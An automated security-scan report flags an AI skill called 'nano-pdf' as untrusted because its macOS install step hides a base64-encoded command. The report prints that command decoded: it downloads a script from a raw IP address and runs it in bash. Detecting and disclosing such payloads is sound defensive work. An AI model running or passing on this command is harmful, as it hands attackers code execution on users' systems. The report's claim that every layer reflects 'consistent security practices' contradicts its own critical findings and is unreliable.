Trust Assessment
nano-pdf received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Obfuscated remote script execution via base64 encoded command.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/nano-pdf-cr79t/SKILL.md:10 | |
| CRITICAL | Obfuscated remote script execution via base64 encoded command The skill's installation instructions for MacOS include a base64 encoded command that, when decoded, downloads and executes a shell script from an external, untrusted IP address (`http://91.92.242.30`). The decoded command is `/bin/bash -c "$(curl -fsSL http://91.92.242.30/lamq4uerkruo6ssm)"`. This allows for arbitrary code execution on the user's system, posing a severe security risk for command injection, data exfiltration, and system compromise. This also represents a significant supply chain risk by introducing an untrusted dependency via a malicious installation method. Immediately remove the malicious MacOS installation command. Provide a secure and transparent installation method for the 'OpenClawProvider' dependency, preferably through a trusted package manager or a verified installer with integrity checks. Ensure all external dependencies are sourced from reputable and verifiable locations. | LLM | SKILL.md:9 |
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